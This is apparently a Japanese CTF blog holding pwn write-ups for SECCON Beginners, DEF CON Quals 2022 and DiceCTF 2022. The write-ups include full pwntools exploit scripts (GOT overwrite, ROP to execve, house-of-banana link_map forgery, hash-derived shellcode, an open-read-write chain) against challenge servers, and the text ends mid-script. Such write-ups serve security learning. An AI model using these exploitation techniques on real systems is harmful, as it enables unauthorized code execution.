ubuntu@ip-:~/Desktop/ctf/seccon/simplelist$ ./chall Welcome to memo organizer 1. Create new memo 2. Edit existing memo 3. Show memo 4. Exit > 1 [debug] new memo allocated at 0x227f2a0 Content: AAAA first entry created at 0x227f2a0 1. Create new memo 2. Edit existing memo 3. Show memo 4. Exit > 3 List of current memos -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- [debug] memo_list[0](0x227f2a0)->content(0x227f2a8) AAAA [debug] next(0x227f2a0): (nil) -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
print debugができるので、heapのアドレスのリークができる。
また、色々やってるとHeap BOFがあることがわかる。
libc versionは2.33で比較的新しい気がするが、
typedef struct memo { struct memo *next; char content[CONTENT_SIZE]; } Memo;
上記の構造体をbofで書き換えることができる。
この問題はfreeが無いが隣接したチャンクを書き換えることができるので、
文字列ポインタを書き換えることで何とかgotからleakできそう。
かつ、内容も書き換えることができる。
これでAARもAAWもあるので終わり。
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled
RELROもPIEもdisableなので、GOTからlibcをリークできるし
GOT overwriteでシェルをとることができる。
import logging from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/Desktop/ctf/seccon/simplelist/chall") libc=ELF("/home/ubuntu/Desktop/ctf/seccon/simplelist/libc-2.33.so") #p=process("/home/ubuntu/Desktop/ctf/seccon/simplelist/chall" # , aslr=False) p=remote("simplelist.quals.beginners.seccon.jp",9003) #gdb.attach(p) def create_memo(content): p.sendlineafter(">", "1") p.recvuntil("new memo allocated at ") pointer=int(p.recvline(),16) p.sendlineafter("Content:", content) return(pointer) def edit_memo(index, content): p.sendlineafter(">", "2") p.sendlineafter("index", str(index)) p.recvuntil("Old content: ") old=p.recvline() p.sendlineafter("New content:", content) return old create_memo(cyclic(0x18)) create_memo(cyclic(0x18)) create_memo(cyclic(0x18)) atoi=0x00000000004010d6 edit_memo(1, "A".encode()*0x18+p64(0)+p64(0x31)+p64(elf.got["setvbuf"])) libc_base=u64(edit_memo(3, p64(atoi))[0:6].ljust(8,b"\x00"))-libc.symbols["atoi"] log.info("libc base is:"+hex(libc_base)) #over write atoi to system edit_memo(3, p64(libc_base+libc.symbols["system"])) p.interactive()
取り合えずatoiからlibc leakして、そのあとはatoiのGOTをover writeした。
そのあと、/bin/shを入れるとシェルが取れる。
snowdrop (44 solve)
raindropとほとんど同じ。
セキュリティ機構は下記の通り
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial
基本的にはbofがある。スタックの長さもraindropより長いので、ropできる。
0x0044b5f7: pop rax ; ret ; (5 found) 0x00401b84: pop rdi ; ret ; (166 found) 0x0040a29e: pop rsi ; ret ; (37 found) 0x004186f4: syscall ; ret ; (8 found)
ROPしてexecveをする。
from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/Desktop/ctf/seccon/snowdrop/chall") #p=process("/home/ubuntu/Desktop/ctf/seccon/snowdrop/chall" # , aslr=False) p=remote("snowdrop.quals.beginners.seccon.jp",9002) #gdb.attach(p) p.recvuntil(" 000003 | ") base_leak=int(p.recv(18), 16) p.recvuntil(" 000006 | ") stack_leak=int(p.recv(18), 16) log.info("stack_address is "+hex(stack_leak)) pop_rdi=0x00401b84 pop_rax=0x0044b5f7 pop_rsi=0x0040a29e syscall=0x004186f4 p.sendline("/bin/sh".encode()+b"\x00"+p64(0)+p64(0xdeadbeef) +p64(pop_rdi)+p64(stack_leak-0x268) +p64(pop_rax)+p64(59) +p64(pop_rsi)+p64(0x0) +p64(syscall)) p.interactive()
Monkey Heap (3 solve)
解けなかった。
なぜか私の環境だとPIEが無効に見えた。
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : FULL
(本当はPIE有効なのだが…)
PIEが無効だと、Large bin attackでpapyrusが保存されているBSS領域にchunkのアドレスを入れ、
Unsafe unlinkを使うことでpapyrusのアドレスを書き換えることができてAAW, AARのPrimitiveを作ることができる。
これで、libc のenvironからスタックアドレスリークをしてROPをすることでシェルをとることができた。(glibc 2.31だが…)
しかし、PIEが有効だと、papyrusのアドレスを特定することができない。
その後、何時間か粘った。
自分の中で試した手法は下記。
1…large bin attackでglobal_max_fastの書き換えからの、fastbin unlinkでlibc内書き換え(いわゆる house of corrosion)
→ この問題は、mallocできるサイズに自由度が無い。(0x500 - 0x600まで)これだと、libc内で書き換えることができる領域が無い。
2…large bin attackでglobal_max_fastの書き換えからの、fastbin dupでどこか書き換え
→ fastbin unlinkの際のサイズ制限とalignmentによってまともに動かなかった。
3…large bin attackでlibcのstdinのvtable(_IO_file_jumps)ポインタの書き換えて、_IO_file_jumpsを偽造
→ vtableの範囲チェックに触れて動かなかった。
ということで、お手上げになった。
large bin attackで、チャンクのメモリアドレスを任意のアドレスに書き込むことができるが、
どうしてもprocess baseアドレスがわからなかったり、うまくいく方法が無い。
ついでにいうとglibc 2.35の環境が私の手元に無い。
ポイントはexit関数のflowを操作することだったように見える。
exitの中では色々な関数が呼ばれている。例えば__call_tls_dtors (void)とか。
作問者様のツイートを見たところ、house of bananaというのが想定解法らしい。
house of bananaは初耳だったが、exit関数の中のフローをハイジャックする手法の様だ。
これはどうやらlarge bin attackによって_rtld_global構造体なるものを書き換えるテクニックらしい
house of banana | C4SE
Glibc 2.33利用技巧 | Nop's Blog
上記のサイトを参考にさせていただいた。
_rtld_global構造体はld.soの中に入っている。
rtld.c source code [glibc/elf/rtld.c] - Woboq Code Browser
私の環境glibc2.31だと下記のようになっていた。
(すごく長いので途中で切ってる)
gdb-peda$ p *((struct rtld_global *)0x155555554060) $1 = { _dl_ns = {{ _ns_loaded = 0x155555555190, _ns_nloaded = 0x4, _ns_main_searchlist = 0x155555555450, _ns_global_scope_alloc = 0x0, _ns_global_scope_pending_adds = 0x0, _ns_unique_sym_table = {
いくつかのメンバを持っているが、この構造体が_dl_fini関数の中で使われているらしい
この構造体の_ns_loaded = 0x155555555190これがlink map構造体を指している。
linkmap構造体は下記のような形をしている。
gdb-peda$ p *((struct link_map *)0x155555555190) $2 = { l_addr = 0x555555554000, l_name = 0x155555555730 "", l_ld = 0x555555557d80, l_next = 0x155555555740, l_prev = 0x0, l_real = 0x155555555190, l_ns = 0x0, l_libname = 0x155555555718, l_info = {0x0, 0x555555557d80, 0x555555557e60, 0x555555557e50, 0x0, 0x555555557e00, 0x555555557e10, 0x555555557e90, 0x555555557ea0, 0x555555557eb0, 0x555555557e20, 0x555555557e30, 0x555555557d90, 0x555555557da0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x555555557e70, 0x555555557e40, 0x0, 0x555555557e80, 0x555555557ed0, 0x555555557db0, 0x555555557dd0, 0x555555557dc0, 0x555555557de0, 0x0, 0x555555557ec0, 0x0, 0x0, 0x0, 0x0, 0x555555557ef0, 0x555555557ee0, 0x0, 0x0, 0x555555557ed0, 0x0, 0x555555557f10, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x555555557f00, 0x0 <repeats 25 times>, 0x555555557df0}, l_phdr = 0x555555554040, l_entry = 0x555555555180, l_phnum = 0xd, l_ldnum = 0x0, l_searchlist = { r_list = 0x15555551e560, r_nlist = 0x3 }, l_symbolic_searchlist = { r_list = 0x155555555710, r_nlist = 0x0 }, l_loader = 0x0, l_versions = 0x15555551e580, l_nversions = 0x5, l_nbuckets = 0x3, l_gnu_bitmask_idxbits = 0x0, l_gnu_shift = 0x6, l_gnu_bitmask = 0x5555555543b0, { l_gnu_buckets = 0x5555555543b8, l_chain = 0x5555555543b8 }, { l_gnu_chain_zero = 0x555555554388, l_buckets = 0x555555554388 }, l_direct_opencount = 0x1, l_type = lt_executable, l_relocated = 0x1, l_init_called = 0x1, l_global = 0x1, l_reserved = 0x0, --Type <RET> for more, q to quit, c to continue without paging--
これまた非常に長い構造体だが、l->l_infoの中で.fini_arrayを指し示すポインタがあって、
そこが_dl_finiで下記のように参照されて呼ばれている。
/* First see whether an array is given. */ if (l->l_info[DT_FINI_ARRAY] != NULL) { ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
処理を追っていくことにする。
__run_exit_handlerの中でcall rdxがある。これで、シンボルのない謎の関数に飛んでいる。
この関数が__dl_finiである。
gdb-peda$ c Continuing. [----------------------------------registers-----------------------------------] RAX: 0x155555519ca0 --> 0x0 RBX: 0x155555518718 --> 0x155555519ca0 --> 0x0 RCX: 0x1 RDX: 0x155555537d50 (endbr64) RSI: 0x0 RDI: 0x0 RBP: 0x0 RSP: 0x7fffffffec80 --> 0x5555555555e0 (<__libc_csu_init>: endbr64) RIP: 0x1555553728d5 (<__run_exit_handlers+245>: call rdx) R8 : 0xd ('\r') R9 : 0x0 R10: 0x1555554c7ac0 --> 0x100000000 R11: 0x246 R12: 0x0 R13: 0x1 R14: 0x15555551d2e8 --> 0x0 R15: 0x155555519ca0 --> 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x1555553728c6 <__run_exit_handlers+230>: mov esi,ebp 0x1555553728c8 <__run_exit_handlers+232>: ror rdx,0x11 0x1555553728cc <__run_exit_handlers+236>: xor rdx,QWORD PTR fs:0x30 => 0x1555553728d5 <__run_exit_handlers+245>: call rdx 0x1555553728d7 <__run_exit_handlers+247>: jmp 0x15555537284a <__run_exit_handlers+106> 0x1555553728dc <__run_exit_handlers+252>: nop DWORD PTR [rax+0x0] 0x1555553728e0 <__run_exit_handlers+256>: mov rax,QWORD PTR [rax+0x18] 0x1555553728e4 <__run_exit_handlers+260>: ror rax,0x11 Guessed arguments: arg[0]: 0x0 arg[1]: 0x0 arg[2]: 0x155555537d50 (endbr64) [------------------------------------stack-------------------------------------] 0000| 0x7fffffffec80 --> 0x5555555555e0 (<__libc_csu_init>: endbr64) 0008| 0x7fffffffec88 --> 0x1ffffecd0 0016| 0x7fffffffec90 --> 0x555555555180 (<_start>: endbr64) 0024| 0x7fffffffec98 --> 0x5555555555e0 (<__libc_csu_init>: endbr64) 0032| 0x7fffffffeca0 --> 0x0 0040| 0x7fffffffeca8 --> 0x555555555180 (<_start>: endbr64) 0048| 0x7fffffffecb0 --> 0x7fffffffedc0 --> 0x1 0056| 0x7fffffffecb8 --> 0x0 [------------------------------------------------------------------------------]
__dl_fixに飛ぶところ。
やるべきことは、link_mapの偽造を行って、指定したアドレスに飛ばすことなのだが
それがなかなか難しい。
適当なlink mapを入れてみればいかに難しいかわかるだろう。
たとえば 偽のlink_mapが保存されているmalloc chunkのアドレスをheap_leakとすると
link_map=p64(0)*32 + p64(heap_leak+0x120)+p64(0)+p64(0xdeadbeef)
これをlink_mapとしていれると、途中にあるチェックに引っかかってしまう。
Inconsistency detected by ld.so: dl-fini.c: 87: _dl_fini: Assertion `ns != LM_ID_BASE || i == nloaded' failed!
制約をうまくクリアできるようなlink mapを作っていくこととする。
試してみるとわかるが、とにかく難しい。
とりあえずpocをまねしつつ、dl_fixとにらめっこしながら通るのを書き上げた
import warnings from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] warnings.simplefilter('ignore') p=process("/hostshare/monkey/bin/chall" , aslr=True ,env={"LD_PRELOAD" : "/hostshare/monkey/bin/libc.so.6"} ) #p=remote("monkey.quals.beginners.seccon.jp",9999) #gdb.attach(p) def new_papyrus(index, size): p.sendlineafter(">", str(1)) p.sendlineafter("index:", str(index)) p.sendlineafter("size:", str(size)) return def write_papyrus(index, data): p.sendlineafter(">", str(2)) p.sendlineafter("index:", str(index)) p.sendlineafter("data:", data) return def read_papyrus(index): p.sendlineafter(">", str(3)) p.sendlineafter("index:", str(index)) p.recvuntil("papyrus:") return p.recvline() def burn_papyrus(index): p.sendlineafter(">", str(4)) p.sendlineafter("index:", str(index)) return new_papyrus(0, 0x528) new_papyrus(1, 0x548) new_papyrus(2, 0x518) new_papyrus(3, 0x548) burn_papyrus(0) burn_papyrus(2) p.sendlineafter(">", str(3)) p.sendlineafter("index:", str(0)) p.recvuntil("papyrus: ") libc_leak=u64(p.recvuntil(">").replace(">".encode(),"".encode()).ljust(8, b"\x00")) log.info("libc_leak is :"+hex(libc_leak)) p.sendline(str(3)) p.sendlineafter("index:", str(2)) p.recvuntil("papyrus: ") heap_leak=u64(p.recvuntil(">").replace(">".encode(),"".encode()).ljust(8, b"\x00")) log.info("heap_leak is :"+hex(heap_leak)) libc_base=libc_leak-0x219CE0 #remote #libc_base=libc_leak-0x1ECBE0 #local log.info("libc base is :"+hex(libc_base)) p.sendline(str(1)) p.sendlineafter("index:", str(0)) p.sendlineafter("size:", str(0x528)) new_papyrus(2, 0x518) # large bin attack to make global_max_fast bigger # free p1 (into unsorted bin) burn_papyrus(0) # malloc p3 (largest) to make chunk 0 into large bin new_papyrus(3, 0x548) # free p2 (into unsorted bin) burn_papyrus(2) # over write _rtld_global addres_of_linfo=libc_base+0x264040 #remote #addres_of_linfo=libc_base+0x228060 write_papyrus(0, p64(libc_leak+0x430)+p64(libc_leak+0x430)+p64(heap_leak)+p64(addres_of_linfo-0x20)) # malloc p3 to make p2 into large bin. new_papyrus(3, 0x548) large_bin=heap_leak+0xA80 one_gadget = 0xebcf1 log.info("one gadget is "+hex(libc_base+one_gadget)) link_map=p64(large_bin+0xdad)\ +p64(large_bin+0x20)\ +p64(large_bin+0x620)\ +p64(large_bin)\ +p64(0)\ +p64(large_bin+0x28)+p64(large_bin+0x50)\ +p64(large_bin+0x20)\ +p64(large_bin+0x28)\ +p64(0)+p64(0)+p64(0)+p64(0)\ +p64(large_bin+0x50)+p64(0)*18\ +p64(large_bin+0x190)+p64(0)\ +p64(large_bin+0x128)+p64(0)\ +p64(0x8)+p64(0)*11+p64(0x1a)+p64(large_bin+0x320)+p64(0)+p64(0)*46+p64(0x0000000800000001)+p64(libc_base+one_gadget) write_papyrus(2, link_map) p.sendline("5") p.interactive()
そしてローカルの2.35では動くのに、リモートでは動かない。
これは原因不明だし心が折れた。
ちなみに、_dl_rtld_lock_recursiveを書き換えてもRIPを取れるようだ。
とりあえず書き換えてみたら確かにRIPは取れた。
とはいえ、今回のケースは、AAWはまだないので、この方法は直接は使えない。
(heap領域に飛ばして終わりになっちゃう)
malloc hookとかがなくなった世界では役立ちそうな候補ですね。
…_IO_list_all書き換えでhouse of orangeできたりしないのかな?
暇な時にやってみたい。
DEF CON CTF Qualifier 2022 Write-up(Hash it)
DEF CON CTF Qualifier 2022に参加しました。
実生活で色々あり、3~4か月ほど全くCTFができない日々が続きましたが、段々と落ち着いてきたので
時間があるときには続けていこうと思いました。
ただ、以前ほど時間が割けなくなりつつあることが非常に残念です。
3月、4か月もやらないと、libc 2.27と2.31の防御機構の違いなど
すべて忘れてしまっていて、なかなか焦りますが、とりあえずリハビリでやりました。
pwnとかの区分けが無かったので適当にpwnっぽいのを解きました。
1問は開催中に解きました。
ただ、開催期間が終了したら、問題を見ることができないようで、どうにも復習がしづらい状況でした。
write upを書くほどの内容でもないのですが、ひとまず生存報告もかねて書こうと思います。
Hash it
? solves / ? points
開催期間中に解けた。
結構ポイントが低かったので、多分簡単だったと思われます。
実行すると何も表示されない。
デコンパイルして色々試していたが、最初に入力した値を変換して
Mallocしていることがわかる
(例えば、0x10と入力すると 0x10000000 をmallocしにいくようだ)
その後、再度読み込みを求められて、mallocした領域(下の画像だと、0x155554f16010)に値が入力され、
色々変換されて、他の領域に値が入力される。(下の画像だと、0x155554e96000)
そしてこの領域が実行される。
ということで、結論、どんな変換がされてるのかを解析して
任意の出力を作ることができれば、その領域が実行されるのでシェルでも何でも開ける。
(この時点で気づくが、簡単なrev問っぽい…)
ということで、いくつか入れて試してみる。
インプットがAAAA…の時
gdb-peda$ x/20gx 0x155555518000 0x155555518000: 0x2858803b2858803b 0x2858803b2858803b 0x155555518010: 0x2858803b2858803b 0x2858803b2858803b 0x155555518020: 0x2858803b2858803b 0x2858803b2858803b 0x155555518030: 0x2858803b2858803b 0x2858803b2858803b 0x155555518040: 0x2858803b2858803b 0x2858803b2858803b 0x155555518050: 0x2858803b2858803b 0x2858803b2858803b 0x155555518060: 0x2858803b2858803b 0x2858803b2858803b 0x155555518070: 0x2858803b2858803b 0x2858803b2858803b 0x155555518080: 0x2858803b2858803b 0x2858803b2858803b 0x155555518090: 0x2858803b2858803b 0x2858803b2858803b
BBBB…とすると
gdb-peda$ x/20gx 0x155555518000 0x155555518000: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518010: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518020: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518030: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518040: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518050: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518060: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518070: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518080: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d 0x155555518090: 0x7bfc719d7bfc719d 0x7bfc719d7bfc719d
BBBBAAAA…
gdb-peda$ x/20gx 0x155555518000 0x155555518000: 0x2858719d2858719d 0x2858719d2858719d 0x155555518010: 0x2858719d2858719d 0x2858719d2858719d 0x155555518020: 0x2858719d2858719d 0x2858719d2858719d 0x155555518030: 0x2858719d2858719d 0x2858719d2858719d 0x155555518040: 0x2858719d2858719d 0x2858719d2858719d 0x155555518050: 0x2858719d2858719d 0x2858719d2858719d 0x155555518060: 0x2858719d2858719d 0x2858719d2858719d 0x155555518070: 0x2858719d2858719d 0x2858719d2858719d 0x155555518080: 0x2858719d2858719d 0x2858719d2858719d 0x155555518090: 0x2858719d2858719d 0x2858719d2858719d
BBAABBAA
gdb-peda$ x/20gx 0x155555518000 0x155555518000: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518010: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518020: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518030: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518040: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518050: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518060: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518070: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518080: 0x28fc809d28fc809d 0x28fc809d28fc809d 0x155555518090: 0x28fc809d28fc809d 0x28fc809d28fc809d
私は怠惰なので、残念ながらREVをがっつりする元気はなかった。
ただ上記から、どうやらインプットを2バイトずつ区切りで、
なんかしらの1バイト列に変換しているだろう思った。
ただし、インプットの2バイトがそのまま素直に実行領域の1バイトと
1対1対応になっていないようだ。
GDBでデバッグしているとわかるが、インプットされた文字をmd5やSha1等に投げ込んでいることがわかる。
後はもはやメタ読みであるが、下記はAAをHashにかけた結果。
どうやら、
MD5: 3b98e2dffc6cb06a89dcb0d5c60a0206
SHA1: 801c34269f74ed383fc97de33604b8a905adb635
SHA2 256: 58bb119c35513a451d24dc20ef0e9031ec85b35bfc919d263e7e5d9868909cb5
SHA2 512: 282154720abd4fa76ad7cd5f8806aa8a19aefb6d10042b0d57a311b86087de4de3186a92019d6ee51035106ee088dc6007beb7be46994d1463999968fbe9760e
上記のハッシュ関数の1バイト目を引っ張ってきているようだ。
これでおおむね解けたので、あとはシェルコードを作り出すように実装するだけ。
方針としては、意図した1バイトになるように
2バイトをブルートフォースでつくりだしてつなげていくだけ。
あまり安定しなかった。exploitが通った直後にcat flagをすれば通る。下記はローカル用。
from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] p=process("/home/ubuntu/Desktop/ctf/defcon/HashIt/zc7ejjq9ehhcqj1x61ekoa8pjtk7" , aslr=False) #gdb.attach(p) p.send(b"\x00\x01\x00\x00") def create_payload(payload): answer="".encode() for p in range(len(payload)): for i in range(0x01,0x80): for j in range(0x01, 0x80): tmp=chr(i).encode()+chr(j).encode() #print("searching", p, tmp) if p%4 == 0: # SHA512 a=util.hashes.sha512sum(tmp)[0:1] elif p%4 == 1: # SHA256 a=util.hashes.sha256sum(tmp)[0:1] elif p % 4 == 2: # SHA1 a=util.hashes.sha1sum(tmp)[0:1] elif p % 4 == 3: # MD5 a=util.hashes.md5sum(tmp)[0:1] else: continue print(a, payload[p]) if ord(a)==payload[p]: answer=tmp+answer print(p, "found!") break else: continue break return (answer) shellcode=b"" shellcode+=b"\x90\x90\x90\x90\x90\x90\x90\x90" shellcode+=b"\x05\x0f\x3b\xb0\x5f\x54\x53\x68" shellcode+=b"\x73\x2f\x2f\x6e\x69\x62\x2f\xbb" shellcode+=b"\x48\xf6\x31\x48\xd2\x31\x48\x50" p.sendline(create_payload(shellcode)*(0x100000)) p.interactive()
リハビリ期間中とはいえ、これしか解けなかったので精進したい。
DiceCTF 2022 Write-up
Dice CTF 2022に参加しました。
pwnは8問あり、2問は開催中に、1問は終了後に解きました。
pwn/interview-opportunity
299 solves / 108 points
開催期間中に解けた。
よくある問題。bofの脆弱性があるのでgot 領域からret2pltでlibc addressをリーク。
そしてROPでsystem("/bin/sh")を呼ぶというやつ。
from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/Desktop/ctf/dicectf/interview-opportunity/interview-opportunity") libc=ELF("/home/ubuntu/Desktop/ctf/dicectf/interview-opportunity/libc.so.6") #p=process("/home/ubuntu/Desktop/ctf/dicectf/interview-opportunity/interview-opportunity" , aslr=False ,env={"LD_PRELOAD" : "/home/ubuntu/Desktop/ctf/dicectf/interview-opportunity/libc.so.6"} ) p=remote("mc.ax",31081) #gdb.attach(p) pop_rdi=0x00401313 ret=0x0040101a p.sendlineafter("DiceGang?", cyclic(34)+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(elf.symbols["main"])) p.recvline() p.recvline() p.recvline() libc_base=u64(p.recv()[0:6].ljust(8,b"\x00"))-0x765f0 log.info("libc base is :"+hex(libc_base)) p.sendline(cyclic(34)+p64(pop_rdi)+p64(libc_base+next(libc.search(b"/bin/sh")))+p64(libc_base+libc.symbols["system"])) p.interactive()
実質welcome問。
pwn/baby-rop
106 solves / 127 points
これも開催期間中に解けた。
glibc2.34が無いと動かない。
LD_PRELOAD=./libc.so.6 ./ld-linux-x86-64.so.2 ./babyrop
とかでも動くが、毎回やるのは面倒なのでpatchelf して動くようにした。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : FULL
起動すると下記のように動くheap問。
仕様
下記のコマンドが用意されている。
C(create_safe_string): indexを指定し、領域を作る。内部的には、まずmallocでsafe_string構造体(下記)のサイズを取得し、lengthとstringのポインタを確保する。次に、lengthサイズでmallocして、そこに文字列を書き込む。 F(free_safe_string):Cで作成されたstringの領域をfreeし、safe_string構造体もfreeする。free後、ポインタにnullを代入しない。 R(read_safe_string):safe_string構造体のlengthを参照し、lengthの分、stringの領域を出力する。 W(write_safe_string):safe_string構造体のlengthを参照し、lengthの分、stringの領域に読み込む。 E:Exitする
typedef struct { size_t length; char * string; } safe_string;
safe_string 構造体
脆弱性
・null終端が無い。(使わない)
・free後にポインタにnullを代入されない為、UaFとDouble Freeがある。(こっちを使う)
なお、libc2.34が使われていると、tcacheのfdには次のtchacheの領域へのポインタがマングリングされた値が入る。(いわゆるsafe-linking)
bkの位置にはkeyが入る。libc2.32-33時点ではkey(heap内へのポインタ)だったが、乱数のようなものが入っている。
how2heapで確認してみた。(いつのまにかwebから動くようになっていてめちゃめちゃ便利になった。)
glibc 2.32
glibc 2.33
glibc 2.34
このように、今までtcache のbkは普通のポインタだったのが、乱数的なやつが入るようになっていた。
仕様は追えていない。調べるべきなんだけど未調査。。。
したがって、Cした領域をFした後は下記のようになる。
見ての通り、fdはsafe-linkingで変な値になっているし、bkは暗号化されている。
ここでRやWを使うと、プログラムは、0x4062c6バイトを、0x137e7dd7b5eb11caから出力しようとしたり、入力しようとして
当然、0x137e7dd7b5eb11caのメモリアクセスに失敗してsegmentation faultで落ちてしまう。
さて、どうすれば良いかだが、freeを何回か行うことで、tcacheではない領域に入れる。
tcacheを連発した後は、fastbinに入る。fastbinなら、bkにkeyみたいな変な値が入ることはない。
以前の通りstring領域へのポインタが入っているので、Rを使うことにより、string領域へのポインタに多めのバイト数を書き込むことができる。
これを活用すれば、heap buffer overflowとして、隣り合う領域のsafe_string構造体を書き換えることができる。
それを使えば、任意の場所に書き込むことができるし、書き換えることができる。
イメージ図。
実質これで終了。
まずlibc baseのリークだが、これはGOTから読み込むことで簡単にリークできる。
次にRIPをとることを考えるが、FULL RELROなので、GOT Overwriteはできない。
しかもglibc 2.34から__free_hookや__malloc_hook等のhook系が削除されてしまっている。
シンボルは存在するように見えるが、うまく動かない。
さて、RIPをとるためにはどうすれば良いか。
最初はFSOPの方針でRIPまで取れた。
具体的には、下記のvtableで
struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); };
とりあえず_IO_xsputn_tを書き換えてみると、次の出力で任意アドレスに飛ばすことができた。
これでRIPを奪うことができた。
さて、one_gadgetを使おうと思ったがgadgetが出てこない。
libc 2.34はone_gadgetは対応していなさそう。
しかも、今回の問題は、許されるsystem callが限られていて、execveも呼べない。
なのでおとなしくFSOPはあきらめて、ROPでopen read writeを呼ぶことにする。
良い感じのgadgetを見つけてstack pivotをしようと思ったが、gadgetは見つからなかった。
stack addressをleakしてAAWでstackに直接値を書き込むことにした。
stack addressはlibcのenvironにアドレスがあるのでlibc base がわかればleakすることができる。
stackに書き込むことができて、ROPができるようになったので、実はFSOPはもういらない。
あとはopen-read-writeを書くだけ。
from pwn import * context.arch="i386" context.terminal = ['mate-terminal', '-e'] elf=ELF("/home/ubuntu/Desktop/ctf/dicectf/baby-rop/babyrop") libc=ELF("/home/ubuntu/Desktop/ctf/dicectf/baby-rop/libc.so.6") p=remote("mc.ax",31245) #p=process("/home/ubuntu/Desktop/ctf/dicectf/baby-rop/babyrop2", aslr=False ) #gdb.attach(p) def create_string(index, length, contents): p.sendlineafter("enter your command:", "C") p.sendlineafter("enter your index:", index) p.sendlineafter("How long is your safe_string:", length) p.sendlineafter("enter your string:", contents) return def free_string(index): p.sendlineafter("enter your command:", "F") p.sendlineafter("enter your index:", index) return def read_string(index): p.sendlineafter("enter your command:", "R") p.sendlineafter("enter your index:", index) p.recvline() return p.recvline() def write_string(index, contents): p.sendlineafter("enter your command:", "W") p.sendlineafter("enter your index:", index) p.sendlineafter("enter your string:", contents) return create_string(str(0), str(0x78), cyclic(0x18)) create_string(str(1), str(0x78), cyclic(0x18)) create_string(str(2), str(0x78), cyclic(0x18)) create_string(str(3), str(0x78), cyclic(0x18)) create_string(str(4), str(0x78), cyclic(0x18)) create_string(str(5), str(0x78), cyclic(0x18)) create_string(str(6), str(0x78), cyclic(0x18)) create_string(str(7), str(0x78), p64(0xcafebabe)) create_string(str(8), str(0x400000), p64(0xcafebabe)) create_string(str(9), str(0x78), p64(0xcafebabe)) free_string(str(0)) free_string(str(1)) free_string(str(2)) free_string(str(3)) free_string(str(4)) free_string(str(5)) free_string(str(6)) free_string(str(7)) free_string(str(8)) free_string(str(9)) #libc leak write_string(str(7), cyclic(128)+p64(0x08)+p64(elf.got["puts"])) data=read_string(str(8)) d=data.split() libc_base=(int(d[0], 16) +int(d[1],16)*0x100 +int(d[2], 16)*0x10000 +int(d[3], 16)*0x1000000 +int(d[4], 16)*0x100000000 +int(d[5], 16)*0x10000000000)-libc.symbols["puts"] log.info("libc_base is :"+hex(libc_base)) # leak stack address write_string(str(7), cyclic(128)+p64(0x08)+p64(libc_base+libc.symbols["environ"])) data=read_string(str(8)) d=data.split() stack_address=(int(d[0], 16) +int(d[1],16)*0x100 +int(d[2], 16)*0x10000 +int(d[3], 16)*0x1000000 +int(d[4], 16)*0x100000000 +int(d[5], 16)*0x10000000000) log.info("stack address is :"+hex(stack_address)) # write rop code into stack open-read-write pop_rdi=libc_base+0x0002d7dd pop_rax=libc_base+0x000448a7 pop_rsi=libc_base+0x0002eef9 pop_rdx=libc_base+0x000d9c2d push_rax=libc_base+0x00040c2f syscall=libc_base+0x000888f2 write_string(str(7), cyclic(128)+p64(0x100)+p64(stack_address-0x1a0)) # open("./flag.txt", 2) # syscall num 2 # read(3, stack_address, 0x20) # syscall num 0 # write(1, stack_address, 0x20) # syscall num 1 log.info(hex(pop_rdi)) write_string(str(8), 